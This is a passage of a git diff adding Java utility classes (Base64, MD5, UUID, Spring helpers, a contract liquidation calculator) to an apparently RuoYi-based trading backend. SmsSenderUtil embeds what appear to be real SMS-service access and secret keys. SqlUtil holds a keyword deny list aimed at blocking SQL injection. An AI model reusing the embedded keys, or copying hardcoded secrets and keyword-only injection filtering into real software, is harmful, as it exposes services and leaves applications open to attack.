return (Class) params[index]; + } + + public static Class getUserClass(Object instance) + { + if (instance == null) + { + throw new RuntimeException("Instance must not be null"); + } + Class clazz = instance.getClass(); + if (clazz != null && clazz.getName().contains(CGLIB_CLASS_SEPARATOR)) + { + Class superClass = clazz.getSuperclass(); + if (superClass != null && !Object.class.equals(superClass)) + { + return superClass; + } + } + return clazz; + + } + + /** + * 将反射时的checked exception转换为unchecked exception. + */ + public static RuntimeException convertReflectionExceptionToUnchecked(String msg, Exception e) + { + if (e instanceof IllegalAccessException || e instanceof IllegalArgumentException + || e instanceof NoSuchMethodException) + { + return new IllegalArgumentException(msg, e); + } + else if (e instanceof InvocationTargetException) + { + return new RuntimeException(msg, ((InvocationTargetException) e).getTargetException()); + } + return new RuntimeException(msg, e); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Base64.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Base64.java new file mode 100644 index 0000000..ca1cd92 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Base64.java @@ -0,0 +1,291 @@ +package com.ruoyi.common.utils.sign; + +/** + * Base64工具类 + * + * @author ruoyi + */ +public final class Base64 +{ + static private final int BASELENGTH = 128; + static private final int LOOKUPLENGTH = 64; + static private final int TWENTYFOURBITGROUP = 24; + static private final int EIGHTBIT = 8; + static private final int SIXTEENBIT = 16; + static private final int FOURBYTE = 4; + static private final int SIGN = -128; + static private final char PAD = '='; + static final private byte[] base64Alphabet = new byte[BASELENGTH]; + static final private char[] lookUpBase64Alphabet = new char[LOOKUPLENGTH]; + + static + { + for (int i = 0; i < BASELENGTH; ++i) + { + base64Alphabet[i] = -1; + } + for (int i = 'Z'; i >= 'A'; i--) + { + base64Alphabet[i] = (byte) (i - 'A'); + } + for (int i = 'z'; i >= 'a'; i--) + { + base64Alphabet[i] = (byte) (i - 'a' + 26); + } + + for (int i = '9'; i >= '0'; i--) + { + base64Alphabet[i] = (byte) (i - '0' + 52); + } + + base64Alphabet['+'] = 62; + base64Alphabet['/'] = 63; + + for (int i = 0; i <= 25; i++) + { + lookUpBase64Alphabet[i] = (char) ('A' + i); + } + + for (int i = 26, j = 0; i <= 51; i++, j++) + { + lookUpBase64Alphabet[i] = (char) ('a' + j); + } + + for (int i = 52, j = 0; i <= 61; i++, j++) + { + lookUpBase64Alphabet[i] = (char) ('0' + j); + } + lookUpBase64Alphabet[62] = (char) '+'; + lookUpBase64Alphabet[63] = (char) '/'; + } + + private static boolean isWhiteSpace(char octect) + { + return (octect == 0x20 || octect == 0xd || octect == 0xa || octect == 0x9); + } + + private static boolean isPad(char octect) + { + return (octect == PAD); + } + + private static boolean isData(char octect) + { + return (octect < BASELENGTH && base64Alphabet[octect] != -1); + } + + /** + * Encodes hex octects into Base64 + * + * @param binaryData Array containing binaryData + * @return Encoded Base64 array + */ + public static String encode(byte[] binaryData) + { + if (binaryData == null) + { + return null; + } + + int lengthDataBits = binaryData.length * EIGHTBIT; + if (lengthDataBits == 0) + { + return ""; + } + + int fewerThan24bits = lengthDataBits % TWENTYFOURBITGROUP; + int numberTriplets = lengthDataBits / TWENTYFOURBITGROUP; + int numberQuartet = fewerThan24bits != 0 ? numberTriplets + 1 : numberTriplets; + char encodedData[] = null; + + encodedData = new char[numberQuartet * 4]; + + byte k = 0, l = 0, b1 = 0, b2 = 0, b3 = 0; + + int encodedIndex = 0; + int dataIndex = 0; + + for (int i = 0; i < numberTriplets; i++) + { + b1 = binaryData[dataIndex++]; + b2 = binaryData[dataIndex++]; + b3 = binaryData[dataIndex++]; + + l = (byte) (b2 & 0x0f); + k = (byte) (b1 & 0x03); + + byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); + byte val2 = ((b2 & SIGN) == 0) ? (byte) (b2 >> 4) : (byte) ((b2) >> 4 ^ 0xf0); + byte val3 = ((b3 & SIGN) == 0) ? (byte) (b3 >> 6) : (byte) ((b3) >> 6 ^ 0xfc); + + encodedData[encodedIndex++] = lookUpBase64Alphabet[val1]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[val2 | (k << 4)]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[(l << 2) | val3]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[b3 & 0x3f]; + } + + // form integral number of 6-bit groups + if (fewerThan24bits == EIGHTBIT) + { + b1 = binaryData[dataIndex]; + k = (byte) (b1 & 0x03); + byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); + encodedData[encodedIndex++] = lookUpBase64Alphabet[val1]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[k << 4]; + encodedData[encodedIndex++] = PAD; + encodedData[encodedIndex++] = PAD; + } + else if (fewerThan24bits == SIXTEENBIT) + { + b1 = binaryData[dataIndex]; + b2 = binaryData[dataIndex + 1]; + l = (byte) (b2 & 0x0f); + k = (byte) (b1 & 0x03); + + byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); + byte val2 = ((b2 & SIGN) == 0) ? (byte) (b2 >> 4) : (byte) ((b2) >> 4 ^ 0xf0); + + encodedData[encodedIndex++] = lookUpBase64Alphabet[val1]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[val2 | (k << 4)]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[l << 2]; + encodedData[encodedIndex++] = PAD; + } + return new String(encodedData); + } + + /** + * Decodes Base64 data into octects + * + * @param encoded string containing Base64 data + * @return Array containind decoded data. + */ + public static byte[] decode(String encoded) + { + if (encoded == null) + { + return null; + } + + char[] base64Data = encoded.toCharArray(); + // remove white spaces + int len = removeWhiteSpace(base64Data); + + if (len % FOURBYTE != 0) + { + return null;// should be divisible by four + } + + int numberQuadruple = (len / FOURBYTE); + + if (numberQuadruple == 0) + { + return new byte[0]; + } + + byte decodedData[] = null; + byte b1 = 0, b2 = 0, b3 = 0, b4 = 0; + char d1 = 0, d2 = 0, d3 = 0, d4 = 0; + + int i = 0; + int encodedIndex = 0; + int dataIndex = 0; + decodedData = new byte[(numberQuadruple) * 3]; + + for (; i < numberQuadruple - 1; i++) + { + + if (!isData((d1 = base64Data[dataIndex++])) || !isData((d2 = base64Data[dataIndex++])) + || !isData((d3 = base64Data[dataIndex++])) || !isData((d4 = base64Data[dataIndex++]))) + { + return null; + } // if found "no data" just return null + + b1 = base64Alphabet[d1]; + b2 = base64Alphabet[d2]; + b3 = base64Alphabet[d3]; + b4 = base64Alphabet[d4]; + + decodedData[encodedIndex++] = (byte) (b1 << 2 | b2 >> 4); + decodedData[encodedIndex++] = (byte) (((b2 & 0xf) << 4) | ((b3 >> 2) & 0xf)); + decodedData[encodedIndex++] = (byte) (b3 << 6 | b4); + } + + if (!isData((d1 = base64Data[dataIndex++])) || !isData((d2 = base64Data[dataIndex++]))) + { + return null;// if found "no data" just return null + } + + b1 = base64Alphabet[d1]; + b2 = base64Alphabet[d2]; + + d3 = base64Data[dataIndex++]; + d4 = base64Data[dataIndex++]; + if (!isData((d3)) || !isData((d4))) + {// Check if they are PAD characters + if (isPad(d3) && isPad(d4)) + { + if ((b2 & 0xf) != 0)// last 4 bits should be zero + { + return null; + } + byte[] tmp = new byte[i * 3 + 1]; + System.arraycopy(decodedData, 0, tmp, 0, i * 3); + tmp[encodedIndex] = (byte) (b1 << 2 | b2 >> 4); + return tmp; + } + else if (!isPad(d3) && isPad(d4)) + { + b3 = base64Alphabet[d3]; + if ((b3 & 0x3) != 0)// last 2 bits should be zero + { + return null; + } + byte[] tmp = new byte[i * 3 + 2]; + System.arraycopy(decodedData, 0, tmp, 0, i * 3); + tmp[encodedIndex++] = (byte) (b1 << 2 | b2 >> 4); + tmp[encodedIndex] = (byte) (((b2 & 0xf) << 4) | ((b3 >> 2) & 0xf)); + return tmp; + } + else + { + return null; + } + } + else + { // No PAD e.g 3cQl + b3 = base64Alphabet[d3]; + b4 = base64Alphabet[d4]; + decodedData[encodedIndex++] = (byte) (b1 << 2 | b2 >> 4); + decodedData[encodedIndex++] = (byte) (((b2 & 0xf) << 4) | ((b3 >> 2) & 0xf)); + decodedData[encodedIndex++] = (byte) (b3 << 6 | b4); + + } + return decodedData; + } + + /** + * remove WhiteSpace from MIME containing encoded Base64 data. + * + * @param data the byte array of base64 data (with WS) + * @return the new length + */ + private static int removeWhiteSpace(char[] data) + { + if (data == null) + { + return 0; + } + + // count characters that's not whitespace + int newSize = 0; + int len = data.length; + for (int i = 0; i < len; i++) + { + if (!isWhiteSpace(data[i])) + { + data[newSize++] = data[i]; + } + } + return newSize; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Md5Utils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Md5Utils.java new file mode 100644 index 0000000..c1c58db --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Md5Utils.java @@ -0,0 +1,67 @@ +package com.ruoyi.common.utils.sign; + +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * Md5加密方法 + * + * @author ruoyi + */ +public class Md5Utils +{ + private static final Logger log = LoggerFactory.getLogger(Md5Utils.class); + + private static byte[] md5(String s) + { + MessageDigest algorithm; + try + { + algorithm = MessageDigest.getInstance("MD5"); + algorithm.reset(); + algorithm.update(s.getBytes("UTF-8")); + byte[] messageDigest = algorithm.digest(); + return messageDigest; + } + catch (Exception e) + { + log.error("MD5 Error...", e); + } + return null; + } + + private static final String toHex(byte hash[]) + { + if (hash == null) + { + return null; + } + StringBuffer buf = new StringBuffer(hash.length * 2); + int i; + + for (i = 0; i < hash.length; i++) + { + if ((hash[i] & 0xff) < 0x10) + { + buf.append("0"); + } + buf.append(Long.toString(hash[i] & 0xff, 16)); + } + return buf.toString(); + } + + public static String hash(String s) + { + try + { + return new String(toHex(md5(s)).getBytes(StandardCharsets.UTF_8), StandardCharsets.UTF_8); + } + catch (Exception e) + { + log.error("not supported charset...{}", e); + return s; + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sms/SmsSenderUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sms/SmsSenderUtil.java new file mode 100644 index 0000000..fdd7d12 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sms/SmsSenderUtil.java @@ -0,0 +1,134 @@ +package com.ruoyi.common.utils.sms; + +import cn.hutool.core.util.StrUtil; +import org.json.JSONArray; +import org.json.JSONObject; + +import java.net.HttpURLConnection; +import java.net.URL; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.ArrayList; +import java.util.List; +import java.util.Random; + +public class SmsSenderUtil { + + protected static Random random = new Random(); + + private final static String accesskey = "622473a05437743e74b3fe1b"; + private final static String secretkey = "b3c087e157054bf5ada1da85197e9c0a"; + + private static final String signId ="622f97fd5437743e74b3fe50"; + //模板ID(登录后台页面获取) + private static final String templateId ="622f99325437743e74b3fe52"; + + public String stringMD5(String input) throws NoSuchAlgorithmException { + MessageDigest messageDigest = MessageDigest.getInstance("MD5"); + byte[] inputByteArray = input.getBytes(); + messageDigest.update(inputByteArray); + byte[] resultByteArray = messageDigest.digest(); + return byteArrayToHex(resultByteArray); + } + + protected String strToHash(String str) throws NoSuchAlgorithmException { + MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); + byte[] inputByteArray = str.getBytes(); + messageDigest.update(inputByteArray); + byte[] resultByteArray = messageDigest.digest(); + return byteArrayToHex(resultByteArray); + } + + public String byteArrayToHex(byte[] byteArray) { + char[] hexDigits = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; + char[] resultCharArray = new char[byteArray.length * 2]; + int index = 0; + for (byte b : byteArray) { + resultCharArray[index++] = hexDigits[b >>> 4 & 0xf]; + resultCharArray[index++] = hexDigits[b & 0xf]; + } + return new String(resultCharArray); + } + + public static int getRandom() { + return random.nextInt(999999)%900000+100000; + } + + public static int getRandomNumber(int from, int to) { + float a = from + (to - from) * (new Random().nextFloat()); + int b = (int) a; + return ((a - b) > 0.5 ? 1 : 0) + b; + } + + public HttpURLConnection getPostHttpConn(String url) throws Exception { + URL object = new URL(url); + HttpURLConnection conn; + conn = (HttpURLConnection) object.openConnection(); + conn.setDoOutput(true); + conn.setDoInput(true); + conn.setRequestProperty("Content-Type", "application/json"); + conn.setRequestProperty("Accept", "application/json"); + conn.setRequestMethod("POST"); + return conn; + } + + public String calculateSig( + String accesskey, + long random, + String msg, + long curTime, + ArrayList phoneNumbers) throws NoSuchAlgorithmException { + String phoneNumbersString = phoneNumbers.get(0); + for (int i = 1; i < phoneNumbers.size(); i++) { + phoneNumbersString += "," + phoneNumbers.get(i); + } + return strToHash(String.format( + "accesskey=%s&random=%d&time=%d&mobile=%s", + accesskey, random, curTime, phoneNumbersString)); + } + + public String calculateSigForTempl( + String accesskey, + long random, + long curTime, + ArrayList phoneNumbers) throws NoSuchAlgorithmException { + String phoneNumbersString = phoneNumbers.get(0); + for (int i = 1; i < phoneNumbers.size(); i++) { + phoneNumbersString += "," + phoneNumbers.get(i); + } + return strToHash(String.format( + "accesskey=%s&random=%d&time=%d&mobile=%s", + accesskey, random, curTime, phoneNumbersString)); + } + + public String calculateSigForTempl( + String accesskey, + long random, + long curTime, + String phoneNumber) throws NoSuchAlgorithmException { + ArrayList phoneNumbers = new ArrayList<>(); + phoneNumbers.add(phoneNumber); + return calculateSigForTempl(accesskey, random, curTime, phoneNumbers); + } + + public JSONArray phoneNumbersToJSONArray(String nationCode, ArrayList phoneNumbers) { + JSONArray tel = new JSONArray(); + int i = 0; + do { + JSONObject telElement = new JSONObject(); + telElement.put("nationcode", nationCode); + telElement.put("mobile", phoneNumbers.get(i)); + tel.put(telElement); + } while (++i < phoneNumbers.size()); + + return tel; + } + + public JSONArray smsParamsToJSONArray(List params) { + JSONArray smsParams = new JSONArray(); + for (int i = 0; i < params.size(); i++) { + smsParams.put(params.get(i)); + } + return smsParams; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/spring/SpringUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/spring/SpringUtils.java new file mode 100644 index 0000000..f290ec3 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/spring/SpringUtils.java @@ -0,0 +1,158 @@ +package com.ruoyi.common.utils.spring; + +import org.springframework.aop.framework.AopContext; +import org.springframework.beans.BeansException; +import org.springframework.beans.factory.NoSuchBeanDefinitionException; +import org.springframework.beans.factory.config.BeanFactoryPostProcessor; +import org.springframework.beans.factory.config.ConfigurableListableBeanFactory; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.stereotype.Component; +import com.ruoyi.common.utils.StringUtils; + +/** + * spring工具类 方便在非spring管理环境中获取bean + * + * @author ruoyi + */ +@Component +public final class SpringUtils implements BeanFactoryPostProcessor, ApplicationContextAware +{ + /** Spring应用上下文环境 */ + private static ConfigurableListableBeanFactory beanFactory; + + private static ApplicationContext applicationContext; + + @Override + public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) throws BeansException + { + SpringUtils.beanFactory = beanFactory; + } + + @Override + public void setApplicationContext(ApplicationContext applicationContext) throws BeansException + { + SpringUtils.applicationContext = applicationContext; + } + + /** + * 获取对象 + * + * @param name + * @return Object 一个以所给名字注册的bean的实例 + * @throws org.springframework.beans.BeansException + * + */ + @SuppressWarnings("unchecked") + public static T getBean(String name) throws BeansException + { + return (T) beanFactory.getBean(name); + } + + /** + * 获取类型为requiredType的对象 + * + * @param clz + * @return + * @throws org.springframework.beans.BeansException + * + */ + public static T getBean(Class clz) throws BeansException + { + T result = (T) beanFactory.getBean(clz); + return result; + } + + /** + * 如果BeanFactory包含一个与所给名称匹配的bean定义,则返回true + * + * @param name + * @return boolean + */ + public static boolean containsBean(String name) + { + return beanFactory.containsBean(name); + } + + /** + * 判断以给定名字注册的bean定义是一个singleton还是一个prototype。 如果与给定名字相应的bean定义没有被找到,将会抛出一个异常(NoSuchBeanDefinitionException) + * + * @param name + * @return boolean + * @throws org.springframework.beans.factory.NoSuchBeanDefinitionException + * + */ + public static boolean isSingleton(String name) throws NoSuchBeanDefinitionException + { + return beanFactory.isSingleton(name); + } + + /** + * @param name + * @return Class 注册对象的类型 + * @throws org.springframework.beans.factory.NoSuchBeanDefinitionException + * + */ + public static Class getType(String name) throws NoSuchBeanDefinitionException + { + return beanFactory.getType(name); + } + + /** + * 如果给定的bean名字在bean定义中有别名,则返回这些别名 + * + * @param name + * @return + * @throws org.springframework.beans.factory.NoSuchBeanDefinitionException + * + */ + public static String[] getAliases(String name) throws NoSuchBeanDefinitionException + { + return beanFactory.getAliases(name); + } + + /** + * 获取aop代理对象 + * + * @param invoker + * @return + */ + @SuppressWarnings("unchecked") + public static T getAopProxy(T invoker) + { + return (T) AopContext.currentProxy(); + } + + /** + * 获取当前的环境配置,无配置返回null + * + * @return 当前的环境配置 + */ + public static String[] getActiveProfiles() + { + return applicationContext.getEnvironment().getActiveProfiles(); + } + + /** + * 获取当前的环境配置,当有多个环境配置时,只获取第一个 + * + * @return 当前的环境配置 + */ + public static String getActiveProfile() + { + final String[] activeProfiles = getActiveProfiles(); + return StringUtils.isNotEmpty(activeProfiles) ? activeProfiles[0] : null; + } + + /** + * 获取配置文件中的值 + * + * @param key 配置文件的key + * @return 当前的配置文件的值 + * + */ + public static String getRequiredProperty(String key) + { + return applicationContext.getEnvironment().getRequiredProperty(key); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java new file mode 100644 index 0000000..51e1f92 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java @@ -0,0 +1,61 @@ +package com.ruoyi.common.utils.sql; + +import com.ruoyi.common.exception.UtilException; +import com.ruoyi.common.utils.StringUtils; + +/** + * sql操作工具类 + * + * @author ruoyi + */ +public class SqlUtil +{ + /** + * 定义常用的 sql关键字 + */ + public static String SQL_REGEX = "and |extractvalue|updatexml|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |+|user()"; + + /** + * 仅支持字母、数字、下划线、空格、逗号、小数点(支持多个字段排序) + */ + public static String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+"; + + /** + * 检查字符,防止注入绕过 + */ + public static String escapeOrderBySql(String value) + { + if (StringUtils.isNotEmpty(value) && !isValidOrderBySql(value)) + { + throw new UtilException("参数不符合规范,不能进行查询"); + } + return value; + } + + /** + * 验证 order by 语法是否符合规范 + */ + public static boolean isValidOrderBySql(String value) + { + return value.matches(SQL_PATTERN); + } + + /** + * SQL关键字检查 + */ + public static void filterKeyword(String value) + { + if (StringUtils.isEmpty(value)) + { + return; + } + String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|"); + for (String sqlKeyword : sqlKeywords) + { + if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1) + { + throw new UtilException("参数存在SQL注入风险"); + } + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ucontract/ContractComputerUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ucontract/ContractComputerUtil.java new file mode 100644 index 0000000..0a02b0c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ucontract/ContractComputerUtil.java @@ -0,0 +1,113 @@ +package com.ruoyi.common.utils.ucontract; + +import com.google.zxing.client.result.BizcardResultParser; + +import java.math.BigDecimal; +import java.math.RoundingMode; + +/** + * 合约交易计算类 + * + * @author:michael + * @createDate: 2022/10/19 16:21 + */ +public class ContractComputerUtil { + + + //计算强平价 + + /** + * @param num 交易币数量 + * @param level 杠杆 + * @param + * @return + */ + + public static BigDecimal getStrongPrice(BigDecimal level, Integer type, BigDecimal openPrice, BigDecimal num, BigDecimal amount, BigDecimal fee) { + BigDecimal result = BigDecimal.ZERO; + if (level.compareTo(new BigDecimal(1)) >= 0) { + if (type == 0) { + result = (openPrice.subtract(amount.divide(num, 6, RoundingMode.HALF_UP)).add(fee.divide(num, 6, RoundingMode.HALF_UP)).setScale(6, RoundingMode.HALF_UP)); + } else if (type == 1) { + result = ((amount.divide(num, 6, RoundingMode.HALF_UP).add(openPrice)).subtract(fee.divide(num, 6, RoundingMode.HALF_UP)).setScale(6, RoundingMode.HALF_UP)); + } + } + + return result.compareTo(BigDecimal.ZERO) < 0 ? BigDecimal.ZERO : result; + } + + /** + * 计算合约收益 + * + * @param openPrice + * @param num + * @param closePrice + * @param type + * @return + */ + public static BigDecimal getPositionEarn(BigDecimal openPrice, BigDecimal num, BigDecimal closePrice, int type) { + if (0 == type) { + return (closePrice.subtract(openPrice)).multiply(num); + } else if (1 == type) { + return (openPrice.subtract(closePrice)).multiply(num); + } + return BigDecimal.ZERO; + } + + /** + * 计算买入金额 + * + * @param price + * @return + */ + public static BigDecimal getAmount(BigDecimal price, BigDecimal num, BigDecimal level) { + return price.multiply(num).divide(level, 6, RoundingMode.UP); + + } + + /** + * 计算成交交 + */ + public static BigDecimal getEarnDealPrice(BigDecimal openPrice, int type, BigDecimal earnRate) { + BigDecimal result = BigDecimal.ZERO; + if (0 == type) { + result = openPrice.add((openPrice.multiply(earnRate))); + } else { + result = openPrice.subtract((openPrice.multiply(earnRate))); + } + + return result.compareTo(BigDecimal.ZERO) < 0 ? BigDecimal.ZERO : result.setScale(6, RoundingMode.HALF_UP); + + } + + /** + * 计算成交交 + */ + public static BigDecimal getLossDealPrice(BigDecimal openPrice, int type, BigDecimal lossRate) { + BigDecimal result = BigDecimal.ZERO; + if (0 == type) { + result = openPrice.subtract((openPrice.multiply(lossRate))); + } else { + result = openPrice.add((openPrice.multiply(lossRate))); + } + return result.compareTo(BigDecimal.ZERO) < 0 ? BigDecimal.ZERO : result.setScale(6, RoundingMode.HALF_UP); + } + + public static BigDecimal getPositionRate(BigDecimal openPrice, BigDecimal closePrice, int type) { + if (0 == type) { + return (closePrice.subtract(openPrice)).divide(openPrice, 4, RoundingMode.DOWN); + } else if (1 == type) { + return (openPrice.subtract(closePrice)).divide(openPrice, 4, RoundingMode.DOWN); + } + return BigDecimal.ZERO; + } + + public static BigDecimal getRate(BigDecimal openPrice, BigDecimal closePrice, int type) { + if (0 == type) { + return closePrice.subtract(openPrice); + } else if (1 == type) { + return openPrice.subtract(closePrice); + } + return BigDecimal.ZERO; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/IdUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/IdUtils.java new file mode 100644 index 0000000..2c84427 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/IdUtils.java @@ -0,0 +1,49 @@ +package com.ruoyi.common.utils.uuid; + +/** + * ID生成器工具类 + * + * @author ruoyi + */ +public class IdUtils +{ + /** + * 获取随机UUID + * + * @return 随机UUID + */ + public static String randomUUID() + { + return UUID.randomUUID().toString(); + } + + /** + * 简化的UUID,去掉了横线 + * + * @return 简化的UUID,去掉了横线 + */ + public static String simpleUUID() + { + return UUID.randomUUID().toString(true); + } + + /** + * 获取随机UUID,使用性能更好的ThreadLocalRandom生成UUID + * + * @return 随机UUID + */ + public static String fastUUID() + { + return UUID.fastUUID().toString(); + } + + /** + * 简化的UUID,去掉了横线,使用性能更好的ThreadLocalRandom生成UUID + * + * @return 简化的UUID,去掉了横线 + */ + public static String fastSimpleUUID() + { + return UUID.fastUUID().toString(true); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/Seq.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/Seq.java new file mode 100644 index 0000000..bf99611 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/Seq.java @@ -0,0 +1,86 @@ +package com.ruoyi.common.utils.uuid; + +import java.util.concurrent.atomic.AtomicInteger; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; + +/** + * @author ruoyi 序列生成类 + */ +public class Seq +{ + // 通用序列类型 + public static final String commSeqType = "COMMON"; + + // 上传序列类型 + public static final String uploadSeqType = "UPLOAD"; + + // 通用接口序列数 + private static AtomicInteger commSeq = new AtomicInteger(1); + + // 上传接口序列数 + private static AtomicInteger uploadSeq = new AtomicInteger(1); + + // 机器标识 + private static final String machineCode = "A"; + + /** + * 获取通用序列号 + * + * @return 序列值 + */ + public static String getId() + { + return getId(commSeqType); + } + + /** + * 默认16位序列号 yyMMddHHmmss + 一位机器标识 + 3长度循环递增字符串 + * + * @return 序列值 + */ + public static String getId(String type) + { + AtomicInteger atomicInt = commSeq; + if (uploadSeqType.equals(type)) + { + atomicInt = uploadSeq; + } + return getId(atomicInt, 3); + } + + /** + * 通用接口序列号 yyMMddHHmmss + 一位机器标识 + length长度循环递增字符串 + * + * @param atomicInt 序列数 + * @param length 数值长度 + * @return 序列值 + */ + public static String getId(AtomicInteger atomicInt, int length) + { + String result = DateUtils.dateTimeNow(); + result += machineCode; + result += getSeq(atomicInt, length); + return result; + } + + /** + * 序列循环递增字符串[1, 10 的 (length)幂次方), 用0左补齐length位数 + * + * @return 序列值 + */ + private synchronized static String getSeq(AtomicInteger atomicInt, int length) + { + // 先取值再+1 + int value = atomicInt.getAndIncrement(); + + // 如果更新后值>=10 的 (length)幂次方则重置为1 + int maxSeq = (int) Math.pow(10, length); + if (atomicInt.get() >= maxSeq) + { + atomicInt.set(1); + } + // 转字符串,用0左补齐 + return StringUtils.padl(value, length); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/UUID.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/UUID.java new file mode 100644 index 0000000..a5585d6 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/UUID.java @@ -0,0 +1,484 @@ +package com.ruoyi.common.utils.uuid; + +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; +import java.util.Random; +import java.util.concurrent.ThreadLocalRandom; +import com.ruoyi.common.exception.UtilException; + +/** + * 提供通用唯一识别码(universally unique identifier)(UUID)实现 + * + * @author ruoyi + */ +public final class UUID implements java.io.Serializable, Comparable +{ + private static final long serialVersionUID = -1185015143654744140L; + + /** + * SecureRandom 的单例 + * + */ + private static class Holder + { + static final SecureRandom numberGenerator = getSecureRandom(); + } + + /** 此UUID的最高64有效位 */ + private final long mostSigBits; + + /** 此UUID的最低64有效位 */ + private final long leastSigBits; + + /** + * 私有构造 + * + * @param data 数据 + */ + private UUID(byte[] data) + { + long msb = 0; + long lsb = 0; + assert data.length == 16 : "data must be 16 bytes in length"; + for (int i = 0; i < 8; i++) + { + msb = (msb << 8) | (data[i] & 0xff); + } + for (int i = 8; i < 16; i++) + { + lsb = (lsb << 8) | (data[i] & 0xff); + } + this.mostSigBits = msb; + this.leastSigBits = lsb; + } + + /** + * 使用指定的数据构造新的 UUID。 + * + * @param mostSigBits 用于 {@code UUID} 的最高有效 64 位 + * @param leastSigBits 用于 {@code UUID} 的最低有效 64 位 + */ + public UUID(long mostSigBits, long leastSigBits) + { + this.mostSigBits = mostSigBits; + this.leastSigBits = leastSigBits; + } + + /** + * 获取类型 4(伪随机生成的)UUID 的静态工厂。 + * + * @return 随机生成的 {@code UUID} + */ + public static UUID fastUUID() + { + return randomUUID(false); + } + + /** + * 获取类型 4(伪随机生成的)UUID 的静态工厂。 使用加密的强伪随机数生成器生成该 UUID。 + * + * @return 随机生成的 {@code UUID} + */ + public static UUID randomUUID() + { + return randomUUID(true); + } + + /** + * 获取类型 4(伪随机生成的)UUID 的静态工厂。 使用加密的强伪随机数生成器生成该 UUID。 + * + * @param isSecure 是否使用{@link SecureRandom}如果是可以获得更安全的随机码,否则可以得到更好的性能 + * @return 随机生成的 {@code UUID} + */ + public static UUID randomUUID(boolean isSecure) + { + final Random ng = isSecure ? Holder.numberGenerator : getRandom(); + + byte[] randomBytes = new byte[16]; + ng.nextBytes(randomBytes); + randomBytes[6] &= 0x0f; /* clear version */ + randomBytes[6] |= 0x40; /* set to version 4 */ + randomBytes[8] &= 0x3f; /* clear variant */ + randomBytes[8] |= 0x80; /* set to IETF variant */ + return new UUID(randomBytes); + } + + /** + * 根据指定的字节数组获取类型 3(基于名称的)UUID 的静态工厂。 + * + * @param name 用于构造 UUID 的字节数组。 + * + * @return 根据指定数组生成的 {@code UUID} + */ + public static UUID nameUUIDFromBytes(byte[] name) + { + MessageDigest md; + try + { + md = MessageDigest.getInstance("MD5"); + } + catch (NoSuchAlgorithmException nsae) + { + throw new InternalError("MD5 not supported"); + } + byte[] md5Bytes = md.digest(name); + md5Bytes[6] &= 0x0f; /* clear version */ + md5Bytes[6] |= 0x30; /* set to version 3 */ + md5Bytes[8] &= 0x3f; /* clear variant */ + md5Bytes[8] |= 0x80; /* set to IETF variant */ + return new UUID(md5Bytes); + } + + /** + * 根据 {@link #toString()} 方法中描述的字符串标准表示形式创建{@code UUID}。 + * + * @param name 指定 {@code UUID} 字符串 + * @return 具有指定值的 {@code UUID} + * @throws IllegalArgumentException 如果 name 与 {@link #toString} 中描述的字符串表示形式不符抛出此异常 + * + */ + public static UUID fromString(String name) + { + String[] components = name.split("-"); + if (components.length != 5) + { + throw new IllegalArgumentException("Invalid UUID string: " + name); + } + for (int i = 0; i < 5; i++) + { + components[i] = "0x" + components[i]; + } + + long mostSigBits = 